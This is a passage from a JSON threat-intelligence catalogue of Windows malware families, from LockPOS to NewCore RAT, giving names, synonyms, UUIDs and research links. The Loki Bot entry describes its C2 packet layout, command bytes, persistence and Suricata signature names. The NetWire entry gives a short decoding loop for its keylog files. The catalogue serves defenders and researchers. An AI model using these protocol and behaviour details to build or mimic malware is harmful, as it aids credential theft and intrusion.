          "https://www.arbornetworks.com/blog/asert/lockpos-joins-flock/",
          "https://www.cylance.com/en_us/blog/threat-spotlight-lockpos-point-of-sale-malware.html",
          "https://www.cyberbit.com/new-lockpos-malware-injection-technique/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "d2c111bf-ba0d-498a-8ca8-4cc508855872",
      "value": "LockPOS"
    },
    {
      "description": "Loda is a previously undocumented AutoIT malware with a variety of capabilities for spying on victims. Proofpoint first observed Loda in September of 2016 and it has since grown in popularity. The name Loda is derived from a directory to which the malware author chose to write keylogger logs. It should be noted that some antivirus products currently detect Loda as “Trojan.Nymeria”, although the connection is not well-documented.",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.loda",
          "https://www.proofpoint.com/us/threat-insight/post/introducing-loda-malware",
          "https://zerophagemalware.com/2018/01/23/maldoc-rtf-drop-loda-logger/"
        ],
        "synonyms": [
          "Nymeria"
        ],
        "type": []
      },
      "uuid": "8098d303-cb5f-4eff-b62e-96bb5ef4329f",
      "value": "Loda"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.logedrut",
          "https://researchcenter.paloaltonetworks.com/2016/09/mile-tea-cyber-espionage-campaign-targets-asia-pacific-businesses-and-government-agencies/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "70cd1eb4-0410-47c6-8817-418380240d85",
      "value": "Logedrut"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.logpos",
          "https://securitykitten.github.io/2015/11/16/logpos-new-point-of-sale-malware-using-mailslots.html"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "2789b246-d762-4d38-8cc8-302293e314da",
      "value": "LogPOS"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.lojax",
          "https://www.welivesecurity.com/wp-content/uploads/2018/09/ESET-LoJax.pdf"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "15228ae0-26f9-44d8-8d6e-87b0bd2d2aba",
      "value": "LoJax"
    },
    {
      "description": "\"Loki Bot is a commodity malware sold on underground sites which is designed to steal private data from infected machines, and then submit that info to a command and control host via HTTP POST. This private data includes stored passwords, login credential information from Web browsers, and a variety of cryptocurrency wallets.\" - PhishMe\r\n\r\nLoki-Bot employs function hashing to obfuscate the libraries utilized. While not all functions are hashed, a vast majority of them are.\r\n\r\nLoki-Bot accepts a single argument/switch of ‘-u’ that simply delays execution (sleeps) for 10 seconds. This is used when Loki-Bot is upgrading itself.\r\n\r\nThe Mutex generated is the result of MD5 hashing the Machine GUID and trimming to 24-characters. For example: “B7E1C2CC98066B250DDB2123“.\r\n\r\nLoki-Bot creates a hidden folder within the %APPDATA% directory whose name is supplied by the 8th thru 13th characters of the Mutex. For example: “%APPDATA%\\ C98066\\”.\r\n\r\nThere can be four files within the hidden %APPDATA% directory at any given time: “.exe,” “.lck,” “.hdb” and “.kdb.” They will be named after characters 13 thru 18 of the Mutex. For example: “6B250D.” Below is the explanation of their purpose:\r\n\r\nFILE EXTENSION\tFILE DESCRIPTION\r\n.exe\tA copy of the malware that will execute every time the user account is logged into\r\n.lck\tA lock file created when either decrypting Windows Credentials or Keylogging to prevent resource conflicts\r\n.hdb\tA database of hashes for data that has already been exfiltrated to the C2 server\r\n.kdb\tA database of keylogger data that has yet to be sent to the C2 server\r\n\r\nIf the user is privileged, Loki-Bot sets up persistence within the registry under HKEY_LOCAL_MACHINE. If not, it sets up persistence under HKEY_CURRENT_USER.\r\n\r\nThe first packet transmitted by Loki-Bot contains application data.\r\n\r\nThe second packet transmitted by Loki-Bot contains decrypted Windows credentials.\r\n\r\nThe third packet transmitted by Loki-Bot is the malware requesting C2 commands from the C2 server. By default, Loki-Bot will send this request out every 10 minutes after the initial packet it sent.\r\n\r\nCommunications to the C2 server from the compromised host contain information about the user and system including the username, hostname, domain, screen resolution, privilege level, system architecture, and Operating System.\r\n\r\nThe first WORD of the HTTP Payload represents the Loki-Bot version.\r\n\r\nThe second WORD of the HTTP Payload is the Payload Type. Below is the table of identified payload types:\r\n\r\nBYTE\tPAYLOAD TYPE\r\n0x26\tStolen Cryptocurrency Wallet\r\n0x27\tStolen Application Data\r\n0x28\tGet C2 Commands from C2 Server\r\n0x29\tStolen File\r\n0x2A\tPOS (Point of Sale?)\r\n0x2B\tKeylogger Data\r\n0x2C\tScreenshot\r\n\r\nThe 11th byte of the HTTP Payload begins the Binary ID. This might be useful in tracking campaigns or specific threat actors. This value value is typically “ckav.ru”. If you come across a Binary ID that is different from this, take note!\r\n\r\nLoki-Bot encrypts both the URL and the registry key used for persistence using Triple DES encryption.\r\n\r\nThe Content-Key HTTP Header value is the result of hashing the HTTP Header values that precede it. This is likely used as a protection against researchers who wish to poke and prod at Loki-Bot’s C2 infrastructure.\r\n\r\nLoki-Bot can accept the following instructions from the C2 Server:\r\n\r\nBYTE\tINSTRUCTION DESCRIPTION\r\n0x00\tDownload EXE & Execute\r\n0x01\tDownload DLL & Load #1\r\n0x02\tDownload DLL & Load #2\r\n0x08\tDelete HDB File\r\n0x09\tStart Keylogger\r\n0x0A\tMine & Steal Data\r\n0x0E\tExit Loki-Bot\r\n0x0F\tUpgrade Loki-Bot\r\n0x10\tChange C2 Polling Frequency\r\n0x11\tDelete Executables & Exit\r\n\r\nSuricata Signatures\r\nRULE SID\tRULE NAME\r\n2024311\tET TROJAN Loki Bot Cryptocurrency Wallet Exfiltration Detected\r\n2024312\tET TROJAN Loki Bot Application/Credential Data Exfiltration Detected M1\r\n2024313\tET TROJAN Loki Bo
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.lokipws",
          "https://isc.sans.edu/diary/24372",
          "https://github.com/R3MRUM/loki-parse",
          "http://www.malware-traffic-analysis.net/2017/06/12/index.html",
          "https://www.lastline.com/blog/password-stealing-malware-loki-bot/",
          "https://blog.fortinet.com/2017/05/17/new-loki-variant-being-spread-via-pdf-file",
          "http://blog.fernandodominguez.me/lokis-antis-analysis/",
          "https://phishme.com/loki-bot-malware/",
          "https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/",
          "https://r3mrum.wordpress.com/2017/05/07/loki-bot-atrifacts/",
          "https://securelist.com/loki-bot-stealing-corporate-passwords/87595/",
          "https://cysinfo.com/nefarious-macro-malware-drops-loki-bot-across-gcc-countries/",
          "https://github.com/d00rt/hijacked_lokibot_version/blob/master/doc/LokiBot_hijacked_2018.pdf",
          "https://www.sans.org/reading-room/whitepapers/malicious/loki-bot-information-stealer-keylogger-more-37850"
        ],
        "synonyms": [
          "Loki",
          "LokiBot",
          "LokiPWS"
        ],
        "type": []
      },
      "uuid": "b8fa5036-813f-4887-b4d4-bb17b4a7eba0",
      "value": "Loki Password Stealer (PWS)"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.lordix",
          "https://twitter.com/hexlax/status/1058356670835908610"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "fa61a690-fd9c-4036-97fb-bf3674aa60b2",
      "value": "Lordix"
    },
    {
      "description": "LOWBALL, uses the legitimate Dropbox cloud-storage\r\nservice to act as the CnC server. It uses the Dropbox API with a hardcoded bearer access token and has the ability to download, upload, and execute files. The communication occurs via HTTPS over port 443.",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.lowball",
          "https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "484b9fd9-76c6-41af-a85b-189b0fc94909",
      "value": "LOWBALL"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.luminosity_rat",
          "http://malwarenailed.blogspot.com/2016/07/luminosity-rat-re-purposed.html",
          "https://researchcenter.paloaltonetworks.com/2018/02/unit42-rat-trapped-luminositylink-falls-foul-vermin-eradication-efforts/",
          "https://researchcenter.paloaltonetworks.com/2016/07/unit42-investigating-the-luminositylink-remote-access-trojan-configuration/",
          "https://krebsonsecurity.com/2018/07/luminositylink-rat-author-pleads-guilty/",
          "https://umbrella.cisco.com/blog/2017/01/18/finding-the-rats-nest/",
          "https://www.proofpoint.com/us/threat-insight/post/Light-After-Dark",
          "https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "e145863e-f3bd-489c-91f6-0c2b7e9cc59a",
      "value": "Luminosity RAT"
    },
    {
      "description": " An uploader that can exfiltrate files to Dropbox.",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.lunchmoney",
          "https://www.fireeye.com/blog/threat-research/2019/03/apt40-examining-a-china-nexus-espionage-actor.html",
          "https://twitter.com/MrDanPerez/status/1097881406661902337"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "fb0167e5-3457-46ec-a6d1-b8e4ad9bc89b",
      "value": "LunchMoney"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.lurk",
          "https://www.secureworks.com/research/malware-analysis-of-the-lurk-downloader"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "929112e4-e252-4273-b3c2-fd414cfb2776",
      "value": "Lurk"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.luzo"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "8c0d3012-9dcb-46d3-964f-8a3c5b58d1b2",
      "value": "Luzo"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.lyposit",
          "http://malware.dontneedcoffee.com/2012/11/inside-view-of-lyposit-aka-for-its.html",
          "https://blog.avast.com/2013/05/20/lockscreen-win32lyposit-displayed-as-a-fake-macos-app/",
          "http://malware.dontneedcoffee.com/2013/05/unveiling-locker-bomba-aka-lucky-locker.html"
        ],
        "synonyms": [
          "Adneukine",
          "Bomba Locker",
          "Lucky Locker"
        ],
        "type": []
      },
      "uuid": "0dea3e9d-b443-40f6-a9e0-ba622850ee8a",
      "value": "Lyposit"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.machete",
          "https://securelist.com/el-machete/66108/",
          "https://www.cylance.com/en_us/blog/el-machete-malware-attacks-cut-through-latam.html",
          "https://medium.com/@verovaleros/el-machete-what-do-we-know-about-the-apt-targeting-latin-america-be7d11e690e6"
        ],
        "synonyms": [
          "El Machete"
        ],
        "type": []
      },
      "uuid": "9a724a1d-7eb1-4e2b-8cc3-e1b41e8b5cff",
      "value": "Machete"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.madmax",
          "https://www.arbornetworks.com/blog/asert/mad-max-dga/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "42760c2c-bf00-4ace-871c-6dcbbd90b2de",
      "value": "MadMax"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.magala",
          "https://securelist.com/the-magala-trojan-clicker-a-hidden-advertising-threat/78920/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "192f93bc-fcf6-4aaf-ae2f-d9435a67e48b",
      "value": "Magala"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.magniber",
          "https://blog.malwarebytes.com/threat-analysis/2017/10/magniber-ransomware-exclusively-for-south-koreans/",
          "https://www.youtube.com/watch?v=lqWJaaofNf4",
          "http://asec.ahnlab.com/1124"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "fedac411-0638-48dc-8ac5-1b4171fa8a29",
      "value": "Magniber"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.majik_pos",
          "http://blog.trendmicro.com/trendlabs-security-intelligence/majikpos-combines-pos-malware-and-rats/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "c1144eb8-a2bc-48d7-b0fb-18f124c1f8d9",
      "value": "MajikPos"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.makadocs",
          "http://contagiodump.blogspot.com/2012/12/nov-2012-backdoorw32makadocs-sample.html",
          "https://www.symantec.com/connect/blogs/malware-targeting-windows-8-uses-google-docs"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "996e73e9-b093-4987-9992-f52008e55b24",
      "value": "Makadocs"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.makloader",
          "https://twitter.com/James_inthe_box/status/1046844087469391872"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "7e088669-3ddb-4cc5-bc9b-ae59f61ada82",
      "value": "MakLoader"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.maktub",
          "https://www.intezer.com/iron-cybercrime-group-under-the-scope-2/",
          "https://bartblaze.blogspot.de/2018/04/maktub-ransomware-possibly-rebranded-as.html",
          "https://blog.malwarebytes.com/threat-analysis/2016/03/maktub-locker-beautiful-and-dangerous/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "bdb27944-1f79-46f7-a0d7-c344429790c2",
      "value": "Maktub"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.malumpos",
          "http://documents.trendmicro.com/images/tex/pdf/MalumPOS%20Technical%20Brief.pdf"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "159b0dbf-52f6-4690-a545-0f890ba7b9b7",
      "value": "MalumPOS"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.mamba",
          "https://securelist.com/the-return-of-mamba-ransomware/79403/",
          "http://blog.trendmicro.com/trendlabs-security-intelligence/bksod-by-ransomware-hddcryptor-uses-commercial-tools-to-encrypt-network-shares-and-lock-hdds/"
        ],
        "synonyms": [
          "DiskCryptor",
          "HDDCryptor"
        ],
        "type": []
      },
      "uuid": "df320366-7970-4af0-b1f4-9f9492dede53",
      "value": "Mamba"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.manamecrypt",
          "https://www.bleepingcomputer.com/news/security/cryptohost-decrypted-locks-files-in-a-password-protected-rar-file/",
          "https://www.gdatasoftware.com/blog/2016/04/28234-manamecrypt-a-ransomware-that-takes-a-different-route"
        ],
        "synonyms": [
          "CryptoHost"
        ],
        "type": []
      },
      "uuid": "54cd671e-b7e4-4dd3-9bfa-dc0ba5105944",
      "value": "ManameCrypt"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.mangzamel",
          "https://www.hybrid-analysis.com/sample/5d631d77401615d53f3ce3dbc2bfee5d934602dc35d488aa7cebf9b3ff1c4816?environmentId=2"
        ],
        "synonyms": [
          "junidor",
          "mengkite",
          "vedratve"
        ],
        "type": []
      },
      "uuid": "ed3a94c9-8a5a-4ae7-bdd9-b000e01df3a0",
      "value": "Mangzamel"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.manifestus_ransomware",
          "https://twitter.com/struppigel/status/811587154983981056"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "5b75db42-b8f2-4e52-81d3-f329e49e1af2",
      "value": "Manifestus"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.manitsme",
          "https://github.com/securitykitten/malware_references/blob/master/Appendix%20C%20(Digital)%20-%20The%20Malware%20Arsenal.pdf"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "13b0d9ff-0be0-4539-8c86-dfca7a0e79f6",
      "value": "ManItsMe"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.mapiget",
          "https://github.com/securitykitten/malware_references/blob/master/Appendix%20C%20(Digital)%20-%20The%20Malware%20Arsenal.pdf"
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          "https://blog.checkpoint.com/wp-content/uploads/2015/11/rocket-kitten-report.pdf"
        ],
        "synonyms": [
          "MPK"
        ],
        "type": []
      },
      "uuid": "2363dc9f-822a-4581-8d5f-1fc436e70621",
      "value": "MPKBot"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.multigrain_pos",
          "https://www.pandasecurity.com/mediacenter/malware/multigrain-malware-pos/",
          "https://www.fireeye.com/blog/threat-research/2016/04/multigrain_pointo.html"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "c513c490-7c76-42ab-a51f-cc780faa7146",
      "value": "Multigrain POS"
    },
    {
      "description": " a command-line reconnaissance tool. It can be used to execute files as a different user, move, and delete files locally, schedule remote AT jobs, perform host discovery on connected networks, scan for open ports on hosts in a connected network, and retrieve information about the OS, users, groups, and shares on remote hosts.",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.murkytop",
          "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "2685ea45-06f4-46e0-9397-eff8844db855",
      "value": "murkytop"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.murofet"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "f7081626-130a-48d5-83a9-759b3ef198ec",
      "value": "Murofet"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.mutabaha",
          "http://vms.drweb.ru/virus/?_is=1&i=8477920"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "771113e1-8550-4dc2-b2ad-7298ae381cb5",
      "value": "Mutabaha"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.mykings_spreader",
          "https://www.proofpoint.com/us/threat-insight/post/smominru-monero-mining-botnet-making-millions-operators",
          "http://blog.netlab.360.com/mykings-the-botnet-behind-multiple-active-spreading-botnets/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "ec9b2bf4-1c0b-4f3c-aaa6-909b19503eed",
      "value": "MyKings Spreader"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.mylobot",
          "https://www.deepinstinct.com/2018/06/20/meet-mylobot-a-new-highly-sophisticated-never-seen-before-botnet-thats-out-in-the-wild/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "98d375cb-f940-4bc7-a61e-f47bdcdc48e2",
      "value": "MyloBot"
    },
    {
      "description": "Botnet with focus on banks in Latin America and South America.\r\nRelies on DLL Sideloading attacks to execute malicious DLL files.\r\nUses legitimate VMWare executable in attacks. \r\nAs of March 2019, the malware is under active development with updated versions coming out on persistent basis.",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.n40",
          "http://reversingminds-blog.logdown.com/posts/7807545-analysis-of-advanced-brazilian-banker-malware",
          "https://www.slideshare.net/elevenpaths/n40-the-botnet-created-in-brazil-which-evolves-to-attack-the-chilean-banking-sector",
          "http://blog.en.elevenpaths.com/2018/05/new-report-malware-attacks-chilean.html",
          "https://socprime.com/en/news/attackers-exploit-dll-hijacking-to-bypass-smartscreen/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "6f0109a5-7cec-4a49-8b27-e18ad5c6cae6",
      "value": "N40"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.nabucur"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "ddf63295-cdba-4c70-a4c6-623ba2b5e6dd",
      "value": "Nabucur"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.nagini",
          "http://bestsecuritysearch.com/voldemortnagini-ransomware-virus/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "0ec7d065-3418-43ba-a0cc-1e06471893ad",
      "value": "Nagini"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.naikon",
          "https://securelist.com/analysis/publications/69953/the-naikon-apt/",
          "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "dfb745f1-600a-4d31-a3b0-57bd0a72ac2e",
      "value": "Naikon"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.nanocore",
          "https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html",
          "https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage",
          "https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/",
          "https://www.bleepingcomputer.com/news/security/nanocore-rat-author-gets-33-months-in-prison/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "f9aa9004-8811-4091-a471-38f81dbcadc4",
      "value": "Nanocore RAT"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.nano_locker"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "00e1373c-fddf-4b06-9770-e980cc0ada6b",
      "value": "NanoLocker"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.narilam",
          "http://contagiodump.blogspot.com/2012/12/nov-2012-w32narilam-sample.html",
          "https://www.symantec.com/connect/blogs/w32narilam-business-database-sabotage"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "f5a262c7-59ed-42d1-884d-f8d29acf353f",
      "value": "Narilam"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.nautilus",
          "https://www.ncsc.gov.uk/alerts/turla-group-malware"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "d8295eba-60ef-4900-8091-d694180de565",
      "value": "Nautilus"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.navrat",
          "https://blog.talosintelligence.com/2018/05/navrat.html?m=1"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "ec0cad2c-0c13-491a-a869-1dc1758c8872",
      "value": "NavRAT"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.necurs",
          "https://blog.avast.com/botception-with-necurs-botnet-distributes-script-with-bot-capabilities-avast-threat-labs",
          "https://www.bitsighttech.com/blog/necurs-proxy-module-with-ddos-features",
          "http://blog.talosintelligence.com/2017/03/necurs-diversifies.html",
          "https://www.blueliv.com/wp-content/uploads/2018/07/Blueliv-Necurs-report-2017.pdf",
          "https://blog.trendmicro.com/trendlabs-security-intelligence/necurs-evolves-to-evade-spam-detection-via-internet-shortcut-file/",
          "https://www.trustwave.com/Resources/SpiderLabs-Blog/Necurs-Recurs/",
          "https://blog.trendmicro.com/trendlabs-security-intelligence/the-new-face-of-necurs-noteworthy-changes-to-necurs-behaviors",
          "https://cofense.com/necurs-targeting-banks-pub-file-drops-flawedammyy/",
          "https://www.cert.pl/en/news/single/necurs-hybrid-spam-botnet/"
        ],
        "synonyms": [
          "nucurs"
        ],
        "type": []
      },
      "uuid": "53ad08a6-cca9-401a-a6da-3c0bff2890eb",
      "value": "Necurs"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.nemim",
          "https://securelist.com/files/2014/11/darkhotelappendixindicators_kl.pdf"
        ],
        "synonyms": [
          "Nemain"
        ],
        "type": []
      },
      "uuid": "5ce7906e-b1fd-4860-b3e2-ac9c72033428",
      "value": "Nemim"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.netc",
          "https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "0bc03bfa-1439-4162-bb33-ec9f8f952ee5",
      "value": "NetC"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.neteagle",
          "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
        ],
        "synonyms": [
          "ScoutEagle"
        ],
        "type": []
      },
      "uuid": "3bb8052e-8ed2-48e3-a2cf-7358bae8c6b5",
      "value": "NETEAGLE"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.netrepser_keylogger",
          "https://labs.bitdefender.com/2017/05/inside-netrepser-a-javascript-based-targeted-attack/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "7c6ed154-3232-4b7a-80c3-8052ce0c7333",
      "value": "Netrepser"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.netsupportmanager_rat",
          "http://www.netsupportmanager.com/index.asp",
          "https://researchcenter.paloaltonetworks.com/2017/09/unit42-hoeflertext-popups-targeting-google-chrome-users-now-pushing-rat-malware/",
          "https://www.bleepingcomputer.com/news/security/hacked-steam-accounts-spreading-remote-access-trojan/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "42562c47-08e1-46bc-962c-28d1831d092b",
      "value": "NetSupportManager RAT"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.nettraveler",
          "https://www.proofpoint.com/us/threat-insight/post/nettraveler-apt-targets-russian-european-interests",
          "https://cdn.securelist.com/files/2014/07/kaspersky-the-net-traveler-part1-final.pdf"
        ],
        "synonyms": [
          "TravNet"
        ],
        "type": []
      },
      "uuid": "3a26ee44-3224-48f3-aefb-3978c972d928",
      "value": "NetTraveler"
    },
    {
      "description": "Netwire is a RAT, its functionality seems focused on password stealing and keylogging, but includes remote control capabilities as well.\r\n\r\nKeylog files are stored on the infected machine in an obfuscated form. The algorithm is:\r\n\r\n            for i in range(0,num_read):\r\n                buffer[i] = ((buffer[i]-0x24)^0x9D)&0xFF\r\n",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.netwire",
          "http://researchcenter.paloaltonetworks.com/2014/08/new-release-decrypting-netwire-c2-traffic/",
          "https://www.circl.lu/pub/tr-23/",
          "https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html",
          "http://blog.talosintelligence.com/2017/12/recam-redux-deconfusing-confuserex.html",
          "https://www.secureworks.com/blog/netwire-rat-steals-payment-card-data",
          "https://maskop9.wordpress.com/2019/01/30/analysis-of-netwiredrc-trojan/"
        ],
        "synonyms": [
          "Recam"
        ],
        "type": []
      },
      "uuid": "1acd0c6c-7aff-462e-94ff-7544b1692740",
      "value": "NetWire RC"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.neuron",
          "https://www.ncsc.gov.uk/alerts/turla-group-malware"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "101c2c0e-c082-4b5a-b820-2da789e839d9",
      "value": "Neuron"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.neutrino",
          "https://securityblog.switch.ch/2017/07/07/94-ch-li-domain-names-hijacked-and-used-for-drive-by/",
          "http://www.peppermalware.com/2019/01/analysis-of-neutrino-bot-sample-2018-08-27.html",
          "https://blog.malwarebytes.com/threat-analysis/2015/08/inside-neutrino-botnet-builder/",
          "https://malwarebreakdown.com/2017/04/03/shadow-server-domains-leads-to-rig-exploit-kit-dropping-smoke-loader-which-downloads-neutrino-bot-aka-kasidet",
          "http://securitykitten.github.io/an-evening-with-n3utrino/",
          "https://blog.malwarebytes.com/threat-analysis/2017/02/new-neutrino-bot-comes-in-a-protective-loader/",
          "https://blog.malwarebytes.com/cybercrime/2017/01/post-holiday-spam-campaign-delivers-neutrino-bot/",
          "http://blog.trendmicro.com/trendlabs-security-intelligence/credit-card-scraping-kasidet-builder-leads-to-spike-in-detections/",
          "http://malware.dontneedcoffee.com/2014/06/neutrino-bot-aka-kasidet.html",
          "https://www.zscaler.com/blogs/research/malicious-office-files-dropping-kasidet-and-dridex"
        ],
        "synonyms": [
          "Kasidet"
        ],
        "type": []
      },
      "uuid": "3760920e-4d1a-40d8-9e60-508079499076",
      "value": "Neutrino"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.neutrino_pos",
          "https://securelist.com/neutrino-modification-for-pos-terminals/78839/",
          "https://securelist.com/jimmy-nukebot-from-neutrino-with-love/81667/"
        ],
        "synonyms": [
          "Jimmy"
        ],
        "type": []
      },
      "uuid": "a954e642-4cf4-4293-a4b0-c82cf2db785d",
      "value": "Neutrino POS"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.newcore_rat",
          "https://blog.fortinet.com/2017/09/05/rehashed-rat-used-in-apt-campaign-against-vietnamese-organizations"
        ],
